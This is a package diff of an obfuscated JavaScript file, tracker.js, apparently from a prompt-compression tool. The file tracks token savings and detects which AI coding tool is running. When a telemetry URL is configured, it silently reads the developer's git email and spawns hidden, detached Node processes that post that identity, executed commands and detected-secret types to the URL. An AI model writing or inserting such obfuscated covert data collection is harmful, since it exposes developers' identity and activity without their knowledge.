Date(_0x4c5a3c[_0x5ec809(0x112)]);_0x12bd99>=_0x90f8ea?_0x5f4ec2[_0x5ec809(0xf3)](_0x4c5a3c):_0x3d73d9['push'](_0x4c5a3c);}if(_0x3d73d9['length']>0x0){const _0x297f7b=path[_0x5ec809(0xfe)](baseDir,'logs');for(const _0x3581f2 of _0x3d73d9){const _0x1f8f2f=path['join'](_0x297f7b,_0x3581f2['id']+_0x5ec809(0xc1)),_0x37338e=path[_0x5ec809(0xfe)](_0x297f7b,_0x3581f2['id']+_0x5ec809(0xef));try{if(fs[_0x5ec809(0xd6)](_0x1f8f2f))fs[_0x5ec809(0xd5)](_0x1f8f2f);if(fs[_0x5ec809(0xd6)](_0x37338e))fs[_0x5ec809(0xd5)](_0x37338e);}catch{}}fs[_0x5ec809(0xcc)](statsPath,JSON[_0x5ec809(0x120)](_0x5f4ec2,null,0x2),'utf8');}}catch{}}runSync()[a0_0x3fe1da(0xc8)](()=>{});
|
package/tracker.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x19d430=a0_0x85f7;function a0_0x55f0(){const _0x137c63=['CLAUDE_EFFORT','stats.json','get','Claude\x20Opus\x204.1\x20(deprecated)','Claude\x20Fable\x205','claude','getOwnPropertyDescriptor','sendSecurityAlert','execSync','input_price_1m','detectSessionTool','Gemini\x203.5\x20Live\x20Translate','flash','/api/security/alert','GPT-4.1\x20Nano','statsPath','Claude\x20Haiku\x203.5','o3-mini','trim','CONTINUE_GLOBAL_DIR','startsWith','41263emAkCX',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','REPLIT_ENVIRONMENT','getStatsSummary','.trimprompt','stringify','claude-sonnet-4-6','tool','triggerBackgroundSync','secretTypes','gemini-3-5-flash','6816408SFkdTa','windsurf','homedir','.tmp','copilot','logExecution','claude-opus-4-8','antigravity','toString','REPL_ID','OpenAI\x20o1','prototype','path','replit','getDevIdentity','conv:','random','platform','claude-3-5-sonnet','TRIMPROMPT_MODEL','unknown','gemini','devin','sonnet','Claude\x20Sonnet\x204.6','command','gemini-3-1-pro','includes','PATH','VSCODE_PID','auto','hasOwnProperty','COPILOT_MODEL','const\x20h=require(require(\x27url\x27).parse(','mkdirSync','default_model','cachedDevId','writable','git\x20config\x20user.email','codex','unref','parse','3709592kOGAzx','toISOString','__createBinding','default','34743429FYABAS','ignore','8Fchzlc','call','cursor','saveLogs','GPT-5.4\x20Mini','defineProperty','claude_code','split','saveConfig','claude-sonnet-4-5','Tracker','466564UqjBYh','length','logs','child_process','compact:','ceil','1598922EAnwMh','GPT-5.4','slice','userInfo','__esModule','baseDir','COPILOT_GITHUB_TOKEN','GPT-4.1\x20Mini','tracker','readFileSync',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','secretsFound','timestamp','getConfig','CURSOR_AGENT','username','52nDiSAL','replace','.comp.txt','config.json','toUpperCase','Claude\x20Opus\x204.7','__setModuleDefault','AIDER_MODEL','Cursor\x20Small','CLINE_DATA_DIR','max','GEMINI_CLI','CLAUDE_CODE','activeSavedTokens','PRICING','__importStar','model_used','setConfig','\x20Compaction','\x20Chat\x20','Claude\x20Haiku\x204.5','getLogs','high','cline','sync.js','logsDir','utf8','o3mini','getOwnPropertyNames','1940740BoLjem','config','configPath','renameSync','Claude\x20Opus\x204.8','estimated_raw_tokens','isArray','init','GPT-4o','CLAUDECODE','join','AI_AGENT','.raw.txt','name','opus','fullPath','toLowerCase','1.0','estimated_compressed_tokens','toFixed','github-copilot','spawn','existsSync','telemetry_url','Claude\x20Mythos\x205','modelShort','redact','model','Gemini\x203.1\x20Pro','writeFileSync'];a0_0x55f0=function(){return _0x137c63;};return a0_0x55f0();}function a0_0x85f7(_0x31bf9f,_0x5cea6a){_0x31bf9f=_0x31bf9f-0x1a1;const _0x55f022=a0_0x55f0();let _0x85f7e0=_0x55f022[_0x31bf9f];return _0x85f7e0;}(function(_0x589d24,_0x25eed6){const _0x579e06=a0_0x85f7,_0xe9aa0e=_0x589d24();while(!![]){try{const _0x3a2575=-parseInt(_0x579e06(0x1b1))/0x1*(parseInt(_0x579e06(0x20d))/0x2)+parseInt(_0x579e06(0x1fd))/0x3+-parseInt(_0x579e06(0x1e6))/0x4+-parseInt(_0x579e06(0x22a))/0x5+-parseInt(_0x579e06(0x1bc))/0x6+-parseInt(_0x579e06(0x1f7))/0x7+-parseInt(_0x579e06(0x1ec))/0x8*(-parseInt(_0x579e06(0x1ea))/0x9);if(_0x3a2575===_0x25eed6)break;else _0xe9aa0e['push'](_0xe9aa0e['shift']());}catch(_0x15033c){_0xe9aa0e['push'](_0xe9aa0e['shift']());}}}(a0_0x55f0,0xc3dcb));var __createBinding=this&&this[a0_0x19d430(0x1e8)]||(Object['create']?function(_0x1a9f70,_0x1b42eb,_0x9761ea,_0x385b2c){const _0x5b5994=a0_0x19d430;if(_0x385b2c===undefined)_0x385b2c=_0x9761ea;var _0x269ed5=Object[_0x5b5994(0x1a2)](_0x1b42eb,_0x9761ea);(!_0x269ed5||(_0x5b5994(0x24a)in _0x269ed5?!_0x1b42eb['__esModule']:_0x269ed5[_0x5b5994(0x1e1)]||_0x269ed5['configurable']))&&(_0x269ed5={'enumerable':!![],'get':function(){return _0x1b42eb[_0x9761ea];}}),Object[_0x5b5994(0x1f1)](_0x1a9f70,_0x385b2c,_0x269ed5);}:function(_0x33a378,_0x3c0760,_0x2d6e0c,_0x37d6e9){if(_0x37d6e9===undefined)_0x37d6e9=_0x2d6e0c;_0x33a378[_0x37d6e9]=_0x3c0760[_0x2d6e0c];}),__setModuleDefault=this&&this[a0_0x19d430(0x213)]||(Object['create']?function(_0x1940a1,_0x255eca){const _0x2b0e91=a0_0x19d430;Object[_0x2b0e91(0x1f1)](_0x1940a1,'default',{'enumerable':!![],'value':_0x255eca});}:function(_0x241318,_0x475f87){const _0x5b6c2e=a0_0x19d430;_0x241318[_0x5b6c2e(0x1e9)]=_0x475f87;}),__importStar=this&&this[a0_0x19d430(0x21c)]||(function(){var _0x4d8fc3=function(_0x31252c){const _0x560920=a0_0x85f7;return _0x4d8fc3=Object[_0x560920(0x229)]||function(_0x190fd1){const _0x526d81=_0x560920;var _0x55baea=[];for(var _0xe92fa9 in _0x190fd1)if(Object[_0x526d81(0x1c7)][_0x526d81(0x1db)][_0x526d81(0x1ed)](_0x190fd1,_0xe92fa9))_0x55baea[_0x55baea[_0x526d81(0x1f8)]]=_0xe92fa9;return _0x55baea;},_0x4d8fc3(_0x31252c);};return function(_0xddce52){const _0x3bc722=a0_0x85f7;if(_0xddce52&&_0xddce52[_0x3bc722(0x201)])return _0xddce52;var _0x5d1f22={};if(_0xddce52!=null){for(var _0x30021b=_0x4d8fc3(_0xddce52),_0x28f3c4=0x0;_0x28f3c4<_0x30021b[_0x3bc722(0x1f8)];_0x28f3c4++)if(_0x30021b[_0x28f3c4]!==_0x3bc722(0x1e9))__createBinding(_0x5d1f22,_0xddce52,_0x30021b[_0x28f3c4]);}return __setModuleDefault(_0x5d1f22,_0xddce52),_0x5d1f22;};}());Object[a0_0x19d430(0x1f1)](exports,a0_0x19d430(0x201),{'value':!![]}),exports[a0_0x19d430(0x205)]=exports[a0_0x19d430(0x1f6)]=exports[a0_0x19d430(0x21b)]=void 0x0,exports[a0_0x19d430(0x1a6)]=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x19d430(0x1c8))),os=__importStar(require('os')),child_process_1=require(a0_0x19d430(0x1fa));exports[a0_0x19d430(0x21b)]={'claude-fable-5':{'name':a0_0x19d430(0x24c),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x19d430(0x242),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x19d430(0x22e),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x19d430(0x212),'input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x19d430(0x24b),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x19d430(0x1d4),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':'Claude\x20Sonnet\x204.5','input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x19d430(0x221),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x19d430(0x1ac),'input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':a0_0x19d430(0x1fe),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x19d430(0x232),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x19d430(0x1f0),'input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x19d430(0x204),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x19d430(0x1aa),'input_price_1m':0.1},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'o1':{'name':a0_0x19d430(0x1c6),'input_price_1m':0xf},'o1-mini':{'name':'OpenAI\x20o1-mini','input_price_1m':0x3},'o3-mini':{'name':'OpenAI\x20o3-mini','input_price_1m':1.1},'cursor-small':{'name':a0_0x19d430(0x215),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x19d430(0x246),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x19d430(0x1a7),'input_price_1m':3.5}};function detectSessionTool(){const _0xaf82cd=a0_0x19d430,_0x220dc6=process.env,_0x4cb811={'tool':'','model':_0xaf82cd(0x1b7),'modelShort':''};if(_0x220dc6['TRIMPROMPT_MODEL']&&exports['PRICING'][_0x220dc6['TRIMPROMPT_MODEL']])return{'tool':'','model':_0x220dc6[_0xaf82cd(0x1cf)],'modelShort':''};const _0x10b71d=(_0x220dc6[_0xaf82cd(0x235)]||'')[_0xaf82cd(0x23a)]();if(_0x10b71d){if(_0x10b71d[_0xaf82cd(0x1d7)]('claude-code')||_0x10b71d[_0xaf82cd(0x1d7)](_0xaf82cd(0x1f2))){const _0x307bbc=_0x220dc6[_0xaf82cd(0x248)]===_0xaf82cd(0x223)?'opus':_0xaf82cd(0x1d3),_0x30e010=_0x220dc6['CLAUDE_EFFORT']===_0xaf82cd(0x223)?_0xaf82cd(0x1c2):_0xaf82cd(0x1b7);return{'tool':_0xaf82cd(0x1a1),'model':_0x30e010,'modelShort':_0x307bbc};}if(_0x10b71d['includes'](_0xaf82cd(0x1ee)))return{'tool':'cursor','model':_0xaf82cd(0x1b7),'modelShort':'sonnet'};if(_0x10b71d[_0xaf82cd(0x1d7)](_0xaf82cd(0x23e))||_0x10b71d[_0xaf82cd(0x1d7)](_0xaf82cd(0x1c0))){const _0x3a779c=_0x220dc6[_0xaf82cd(0x1dc)]||'';if(_0x3a779c&&exports['PRICING'][_0x3a779c])return{'tool':_0xaf82cd(0x1c0),'model':_0x3a779c,'modelShort':_0x3a779c[_0xaf82cd(0x1f3)]('-')['pop']()||''};return{'tool':_0xaf82cd(0x1c0),'model':_0xaf82cd(0x1f5),'modelShort':_0xaf82cd(0x1d3)};}if(_0x10b71d['includes']('gemini'))return{'tool':_0xaf82cd(0x1d1),'model':_0xaf82cd(0x1bb),'modelShort':_0xaf82cd(0x1a8)};if(_0x10b71d[_0xaf82cd(0x1d7)]('codex'))return{'tool':_0xaf82cd(0x1e3),'model':_0xaf82cd(0x1ad),'modelShort':_0xaf82cd(0x228)};if(_0x10b71d['includes'](_0xaf82cd(0x1d2)))return{'tool':_0xaf82cd(0x1d2),'model':'claude-sonnet-4-6','modelShort':''};if(_0x10b71d[_0xaf82cd(0x1d7)](_0xaf82cd(0x1c3)))return{'tool':_0xaf82cd(0x1c3),'model':_0xaf82cd(0x1d6),'modelShort':_0xaf82cd(0x1d1)};if(_0x10b71d[_0xaf82cd(0x1d7)](_0xaf82cd(0x1c9))||_0x220dc6['REPL_ID'])return{'tool':'replit','model':_0xaf82cd(0x1b7),'modelShort':''};return{'tool':_0x10b71d[_0xaf82cd(0x1f3)]('_')[0x0][_0xaf82cd(0x1f3)]('-')[0x0],'model':_0xaf82cd(0x1b7),'modelShort':''};}if(_0x220dc6[_0xaf82cd(0x233)]==='1'||_0x220dc6[_0xaf82cd(0x219)]==='1'){const _0x48eca2=_0x220dc6[_0xaf82cd(0x248)]===_0xaf82cd(0x223)?'opus':_0xaf82cd(0x1d3),_0x347815=_0x220dc6['CLAUDE_EFFORT']==='high'?_0xaf82cd(0x1c2):_0xaf82cd(0x1b7);return{'tool':_0xaf82cd(0x1a1),'model':_0x347815,'modelShort':_0x48eca2};}if(_0x220dc6[_0xaf82cd(0x20b)]==='1')return{'tool':_0xaf82cd(0x1ee),'model':_0xaf82cd(0x1b7),'modelShort':_0xaf82cd(0x1d3)};if(_0x220dc6[_0xaf82cd(0x218)]==='1')return{'tool':'gemini','model':_0xaf82cd(0x1bb),'modelShort':_0xaf82cd(0x1a8)};if(_0x220dc6[_0xaf82cd(0x1dc)]||_0x220dc6[_0xaf82cd(0x203)]){const _0x279fcf=_0x220dc6[_0xaf82cd(0x1dc)]||'';if(_0x279fcf&&exports[_0xaf82cd(0x21b)][_0x279fcf])return{'tool':_0xaf82cd(0x1c0),'model':_0x279fcf,'modelShort':_0x279fcf[_0xaf82cd(0x1f3)]('-')['pop']()||''};return{'tool':_0xaf82cd(0x1c0),'model':_0xaf82cd(0x1f5),'modelShort':'sonnet'};}if(_0x220dc6[_0xaf82cd(0x1c5)]||_0x220dc6[_0xaf82cd(0x1b3)])return{'tool':_0xaf82cd(0x1c9),'model':_0xaf82cd(0x1b7),'modelShort':''};if(_0x220dc6[_0xaf82cd(0x216)])return{'tool':_0xaf82cd(0x224),'model':_0xaf82cd(0x1b7),'modelShort':''};if(_0x220dc6[_0xaf82cd(0x1af)])return{'tool':'continue','model':_0xaf82cd(0x1b7),'modelShort':''};if(_0x220dc6['ANTIGRAVITY_AGENT']==='1')return{'tool':_0xaf82cd(0x1c3),'model':'gemini-3-1-pro','modelShort':_0xaf82cd(0x1d1)};if(_0x220dc6[_0xaf82cd(0x248)]){const _0x336849=_0x220dc6[_0xaf82cd(0x248)]===_0xaf82cd(0x223)?_0xaf82cd(0x238):_0xaf82cd(0x1d3),_0x5b1922=_0x220dc6[_0xaf82cd(0x248)]===_0xaf82cd(0x223)?_0xaf82cd(0x1c2):_0xaf82cd(0x1b7);return{'tool':'','model':_0x5b1922,'modelShort':''};}if(_0x220dc6[_0xaf82cd(0x214)]&&exports[_0xaf82cd(0x21b)][_0x220dc6[_0xaf82cd(0x214)]])return{'tool':'aider','model':_0x220dc6['AIDER_MODEL'],'modelShort':''};if(_0x220dc6[_0xaf82cd(0x1d9)]){const _0x13fe82=(_0x220dc6[_0xaf82cd(0x1d8)]||'')[_0xaf82cd(0x23a)]();if(_0x13fe82[_0xaf82cd(0x1d7)]('cursor'))return{'tool':_0xaf82cd(0x1ee),'model':_0xaf82cd(0x1b7),'modelShort':_0xaf82cd(0x1d3)};if(_0x13fe82['includes'](_0xaf82cd(0x1bd)))return{'tool':_0xaf82cd(0x1bd),'model':'claude-sonnet-4-6','modelShort':_0xaf82cd(0x1d3)};}const _0x24d952=process.env.TRIMPROMPT_MODEL||'';if(_0x24d952&&exports[_0xaf82cd(0x21b)][_0x24d952])return{'tool':'','model':_0x24d952,'modelShort':''};return _0x4cb811;}let globalLogsMemoryCache=[];class Tracker{[a0_0x19d430(0x202)];[a0_0x19d430(0x22c)];['statsPath'];[a0_0x19d430(0x226)];[a0_0x19d430(0x22b)];constructor(){const _0x17d105=a0_0x19d430;this[_0x17d105(0x202)]=path[_0x17d105(0x234)](os[_0x17d105(0x1be)](),_0x17d105(0x1b5)),this['configPath']=path[_0x17d105(0x234)](this[_0x17d105(0x202)],_0x17d105(0x210)),this['statsPath']=path[_0x17d105(0x234)](this[_0x17d105(0x202)],_0x17d105(0x249)),this[_0x17d105(0x226)]=path[_0x17d105(0x234)](this[_0x17d105(0x202)],_0x17d105(0x1f9)),this[_0x17d105(0x231)]();}['init'](){const _0x387ab8=a0_0x19d430;!fs[_0x387ab8(0x240)](this['baseDir'])&&fs['mkdirSync'](this[_0x387ab8(0x202)],{'recursive':!![]});!fs['existsSync'](this[_0x387ab8(0x226)])&&fs[_0x387ab8(0x1de)](this[_0x387ab8(0x226)],{'recursive':!![]});const _0xef902={'version':_0x387ab8(0x23b),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':'claude-opus-4-8'};if(fs['existsSync'](this[_0x387ab8(0x22c)]))try{const _0x5659f4=fs[_0x387ab8(0x206)](this[_0x387ab8(0x22c)],'utf8');this[_0x387ab8(0x22b)]={..._0xef902,...JSON[_0x387ab8(0x1e5)](_0x5659f4)};}catch(_0xd3732a){this[_0x387ab8(0x22b)]=_0xef902;}else this[_0x387ab8(0x22b)]=_0xef902,this[_0x387ab8(0x1f4)]();!fs[_0x387ab8(0x240)](this[_0x387ab8(0x1ab)])&&fs[_0x387ab8(0x247)](this[_0x387ab8(0x1ab)],JSON[_0x387ab8(0x1b6)]([]),_0x387ab8(0x227));}['getConfig'](){const _0xc9e154=a0_0x19d430;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0xc9e154(0x22b)][_0xc9e154(0x241)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0xc9e154(0x22b)];}[a0_0x19d430(0x21e)](_0x56734c,_0x2550e5){const _0x32de2f=a0_0x19d430;this[_0x32de2f(0x22b)][_0x56734c]=_0x2550e5,this['saveConfig']();}[a0_0x19d430(0x1f4)](){const _0xb3b65a=a0_0x19d430;fs[_0xb3b65a(0x247)](this[_0xb3b65a(0x22c)],JSON[_0xb3b65a(0x1b6)](this[_0xb3b65a(0x22b)],null,0x2),_0xb3b65a(0x227));}['getLogs'](){const _0x4a8b5c=a0_0x19d430;try{if(!fs['existsSync'](this[_0x4a8b5c(0x1ab)]))return globalLogsMemoryCache;const _0x44b2e0=fs[_0x4a8b5c(0x206)](this[_0x4a8b5c(0x1ab)],_0x4a8b5c(0x227)),_0x3eb96a=JSON[_0x4a8b5c(0x1e5)](_0x44b2e0);if(Array[_0x4a8b5c(0x230)](_0x3eb96a)&&_0x3eb96a[_0x4a8b5c(0x1f8)]>=globalLogsMemoryCache['length'])return globalLogsMemoryCache=_0x3eb96a,_0x3eb96a;}catch{}return globalLogsMemoryCache;}['saveLogs'](_0x38ea40){const _0x239d49=a0_0x19d430;globalLogsMemoryCache=_0x38ea40;const _0x3e84d2=this[_0x239d49(0x1ab)]+_0x239d49(0x1bf);try{fs[_0x239d49(0x247)](_0x3e84d2,JSON[_0x239d49(0x1b6)](_0x38ea40,null,0x2),'utf8'),fs[_0x239d49(0x22d)](_0x3e84d2,this[_0x239d49(0x1ab)]);}catch{try{fs['writeFileSync'](this[_0x239d49(0x1ab)],JSON[_0x239d49(0x1b6)](_0x38ea40,null,0x2),'utf8');}catch{}}}[a0_0x19d430(0x1c1)](_0x2356d6,_0x4078e7,_0x48df49,_0x3e4915,_0x34bb07,_0x196fb6){const _0x11a8de=a0_0x19d430,_0x570810=this[_0x11a8de(0x222)](),_0x270105=_0x4078e7[_0x11a8de(0x1f8)],_0x4288ed=_0x48df49[_0x11a8de(0x1f8)],_0x75ba41=detectSessionTool(),_0x398b2f=_0x75ba41[_0x11a8de(0x245)],_0x401d69=_0x75ba41[_0x11a8de(0x1b8)]===_0x11a8de(0x1c3)?'gemini':_0x75ba41[_0x11a8de(0x1b8)];let _0x23fc8f=0x0;if(_0x401d69&&!_0x2356d6[_0x11a8de(0x1b0)](_0x11a8de(0x1fb)))try{const {getLatestSessionFile:_0x4ed162,loadSessionsState:_0x5c79dc}=require('./file-watcher'),_0x3edb4a=_0x4ed162(_0x401d69);if(_0x3edb4a&&_0x3edb4a['fullPath']){const _0x50fc4b=_0x5c79dc();_0x50fc4b[_0x3edb4a[_0x11a8de(0x239)]]&&(_0x23fc8f=_0x50fc4b[_0x3edb4a[_0x11a8de(0x239)]][_0x11a8de(0x21a)]||0x0);}}catch{}const _0x4b07cd=Math[_0x11a8de(0x1fc)](_0x270105/0x4)+_0x23fc8f,_0x2a23ff=Math[_0x11a8de(0x1fc)](_0x4288ed/0x4),_0x1cc302=Math[_0x11a8de(0x217)](0x0,_0x4b07cd-_0x2a23ff),_0x5f268e=Math[_0x11a8de(0x1cc)]()[_0x11a8de(0x1c4)](0x24)['substring'](0x2,0xb);try{const {redactor:_0x1c5ad6}=require('./redactor'),_0x4d68f9=_0x1c5ad6?_0x1c5ad6[_0x11a8de(0x244)](_0x4078e7):_0x4078e7;fs[_0x11a8de(0x247)](path[_0x11a8de(0x234)](this['logsDir'],_0x5f268e+_0x11a8de(0x236)),_0x4d68f9,'utf8'),fs[_0x11a8de(0x247)](path[_0x11a8de(0x234)](this['logsDir'],_0x5f268e+_0x11a8de(0x20f)),_0x48df49,_0x11a8de(0x227));}catch{}let _0x12d2a2=_0x2356d6;if(_0x2356d6[_0x11a8de(0x1b0)]('compact:')){const _0x4ac44a=_0x2356d6['split'](':')[0x1]||_0x11a8de(0x1a1),_0x46ffa8=_0x4ac44a['charAt'](0x0)['toUpperCase']()+_0x4ac44a[_0x11a8de(0x1ff)](0x1);_0x12d2a2=_0x46ffa8+_0x11a8de(0x21f);}else{if(_0x2356d6[_0x11a8de(0x1b0)](_0x11a8de(0x1cb))){const _0x508231=_0x2356d6['split']('\x20'),_0x4afe9c=_0x508231[0x0][_0x11a8de(0x1f3)](':')[0x1]||_0x11a8de(0x1a1),_0x3a0aed=_0x4afe9c['charAt'](0x0)[_0x11a8de(0x211)]()+_0x4afe9c[_0x11a8de(0x1ff)](0x1),_0x53d1af=_0x508231[_0x11a8de(0x1ff)](0x1)[_0x11a8de(0x234)]('\x20');_0x12d2a2=_0x3a0aed+_0x11a8de(0x220)+_0x53d1af;}else{const _0x57bcf3=_0x2356d6[_0x11a8de(0x1f3)]('\x20')[0x0]||_0x11a8de(0x1d0);_0x12d2a2=_0x75ba41[_0x11a8de(0x1b8)]?_0x75ba41[_0x11a8de(0x243)]?_0x75ba41['tool']+'-'+_0x75ba41['modelShort']+'-'+_0x57bcf3:_0x75ba41[_0x11a8de(0x1b8)]+'-'+_0x57bcf3:_0x57bcf3;}}const _0x15f7dc={'id':_0x5f268e,'timestamp':new Date()[_0x11a8de(0x1e7)](),'command':_0x12d2a2,'raw_chars':_0x270105,'compressed_chars':_0x4288ed,'estimated_raw_tokens':_0x4b07cd,'estimated_compressed_tokens':_0x2a23ff,'tokens_saved':_0x1cc302,'model_used':_0x398b2f,'exit_code':_0x3e4915,'synced':![],'ai_detected':!!_0x75ba41[_0x11a8de(0x1b8)],'secrets_found':_0x34bb07?.[_0x11a8de(0x208)]||0x0,'secret_types':_0x34bb07?.[_0x11a8de(0x1ba)]||[],'features':_0x196fb6||[]};_0x570810['push'](_0x15f7dc),this[_0x11a8de(0x1ef)](_0x570810);const _0x42335d=this['getConfig']()[_0x11a8de(0x241)];return _0x42335d&&_0x42335d[_0x11a8de(0x1ae)]()['length']>0x0&&this[_0x11a8de(0x1b9)](),_0x34bb07&&_0x34bb07[_0x11a8de(0x208)]>0x0&&this[_0x11a8de(0x1a3)](_0x15f7dc,_0x34bb07),_0x15f7dc;}['cachedDevId']=null;['getDevIdentity'](){const _0x57b6b7=a0_0x19d430;if(this[_0x57b6b7(0x1e0)])return this[_0x57b6b7(0x1e0)];try{const _0x25c41d=require('child_process')[_0x57b6b7(0x1a4)](_0x57b6b7(0x1e2),{'stdio':['ignore','pipe',_0x57b6b7(0x1eb)],'windowsHide':!![]})[_0x57b6b7(0x1c4)]()[_0x57b6b7(0x1ae)]();if(_0x25c41d&&_0x25c41d[_0x57b6b7(0x1d7)]('@'))return this['cachedDevId']=_0x25c41d,_0x25c41d;}catch{}try{const _0x306645=require('os')[_0x57b6b7(0x200)]()[_0x57b6b7(0x20c)];return this[_0x57b6b7(0x1e0)]=_0x306645,_0x306645;}catch{}return this[_0x57b6b7(0x1e0)]=_0x57b6b7(0x1d0),_0x57b6b7(0x1d0);}[a0_0x19d430(0x1a3)](_0x1cf600,_0x395980){const _0x2460d2=a0_0x19d430;try{let _0x5a451c=this[_0x2460d2(0x20a)]()[_0x2460d2(0x241)]||'';if(!_0x5a451c)return;_0x5a451c=_0x5a451c[_0x2460d2(0x20e)](/\/api\/telemetry\/?$/,'/api/security/alert');if(!_0x5a451c[_0x2460d2(0x1d7)](_0x2460d2(0x1a9)))_0x5a451c+=_0x2460d2(0x1a9);const _0x5b8f9c=this[_0x2460d2(0x1ca)](),_0x2eb6a3=JSON[_0x2460d2(0x1b6)]({'developer_id':_0x5b8f9c,'timestamp':_0x1cf600[_0x2460d2(0x209)],'command':_0x1cf600[_0x2460d2(0x1d5)],'secrets_found':_0x395980[_0x2460d2(0x208)],'secret_types':_0x395980['secretTypes'],'os':require('os')[_0x2460d2(0x1cd)]()}),_0x2cbf3b=_0x2460d2(0x1dd)+JSON[_0x2460d2(0x1b6)](_0x5a451c)+_0x2460d2(0x1b2)+JSON[_0x2460d2(0x1b6)](_0x5a451c)+_0x2460d2(0x207)+JSON['stringify'](_0x2eb6a3)+')',_0x2fcb18=(0x0,child_process_1[_0x2460d2(0x23f)])(process['execPath'],['-e',_0x2cbf3b],{'detached':!![],'stdio':_0x2460d2(0x1eb),'windowsHide':!![]});_0x2fcb18[_0x2460d2(0x1e4)]();}catch{}}[a0_0x19d430(0x1b9)](){const _0x57c200=a0_0x19d430;try{const _0x9f5027=path['join'](__dirname,_0x57c200(0x225));if(fs[_0x57c200(0x240)](_0x9f5027)){const _0x2e795c=(0x0,child_process_1[_0x57c200(0x23f)])(process['execPath'],[_0x9f5027],{'detached':!![],'stdio':_0x57c200(0x1eb),'windowsHide':!![]});_0x2e795c['unref']();}}catch{}}[a0_0x19d430(0x1b4)](_0x569e0e=a0_0x19d430(0x1da)){const _0x4e7d71=a0_0x19d430,_0x4b6a14=this[_0x4e7d71(0x222)]();let _0xb0333b=0x0,_0x2733ab=0x0,_0x590f76=0x0;for(const _0x3a7ccf of _0x4b6a14){_0xb0333b+=_0x3a7ccf[_0x4e7d71(0x22f)],_0x2733ab+=_0x3a7ccf[_0x4e7d71(0x23c)],_0x590f76+=_0x3a7ccf['tokens_saved'];}let _0x173392=_0x569e0e;(!_0x173392||_0x173392===_0x4e7d71(0x1da)||!exports['PRICING'][_0x173392])&&(_0x4b6a14[_0x4e7d71(0x1f8)]>0x0&&_0x4b6a14[_0x4b6a14[_0x4e7d71(0x1f8)]-0x1][_0x4e7d71(0x21d)]?_0x173392=_0x4b6a14[_0x4b6a14['length']-0x1][_0x4e7d71(0x21d)]:_0x173392=this[_0x4e7d71(0x20a)]()[_0x4e7d71(0x1df)]||_0x4e7d71(0x1ce));const _0x2e82a5=exports[_0x4e7d71(0x21b)][_0x173392]||exports[_0x4e7d71(0x21b)][_0x4e7d71(0x1ce)],_0x5d0ce7=_0x590f76*_0x2e82a5[_0x4e7d71(0x1a5)]/0xf4240,_0x474710=_0xb0333b*_0x2e82a5[_0x4e7d71(0x1a5)]/0xf4240,_0x3100a2=_0x2733ab*_0x2e82a5['input_price_1m']/0xf4240,_0x5d176b=_0xb0333b>0x0?_0x590f76/_0xb0333b*0x64:0x0;return{'total_raw_tokens':_0xb0333b,'total_compressed_tokens':_0x2733ab,'total_tokens_saved':_0x590f76,'savings_percentage':parseFloat(_0x5d176b['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x5d0ce7[_0x4e7d71(0x23d)](0x4)),'raw_cost_usd':parseFloat(_0x474710[_0x4e7d71(0x23d)](0x4)),'compressed_cost_usd':parseFloat(_0x3100a2[_0x4e7d71(0x23d)](0x4)),'model_name':_0x2e82a5[_0x4e7d71(0x237)],'model_key':_0x173392};}}exports[a0_0x19d430(0x1f6)]=Tracker,exports['tracker']=new Tracker();
|
|
1
|
+
'use strict';const a0_0x566752=a0_0x365a;(function(_0x39e5a9,_0x331e34){const _0x20b303=a0_0x365a,_0x1000f1=_0x39e5a9();while(!![]){try{const _0x19dcfa=parseInt(_0x20b303(0x172))/0x1+-parseInt(_0x20b303(0x17c))/0x2+parseInt(_0x20b303(0x198))/0x3*(parseInt(_0x20b303(0x19b))/0x4)+parseInt(_0x20b303(0x15a))/0x5+parseInt(_0x20b303(0x1e8))/0x6*(parseInt(_0x20b303(0x158))/0x7)+parseInt(_0x20b303(0x1c1))/0x8*(-parseInt(_0x20b303(0x191))/0x9)+parseInt(_0x20b303(0x157))/0xa*(-parseInt(_0x20b303(0x19d))/0xb);if(_0x19dcfa===_0x331e34)break;else _0x1000f1['push'](_0x1000f1['shift']());}catch(_0x546ec6){_0x1000f1['push'](_0x1000f1['shift']());}}}(a0_0x3724,0xaaede));var __createBinding=this&&this[a0_0x566752(0x168)]||(Object['create']?function(_0x170b52,_0xab3de2,_0x5e05f9,_0x451b8c){const _0x1bfe54=a0_0x566752;if(_0x451b8c===undefined)_0x451b8c=_0x5e05f9;var _0x3ceb9b=Object[_0x1bfe54(0x150)](_0xab3de2,_0x5e05f9);(!_0x3ceb9b||('get'in 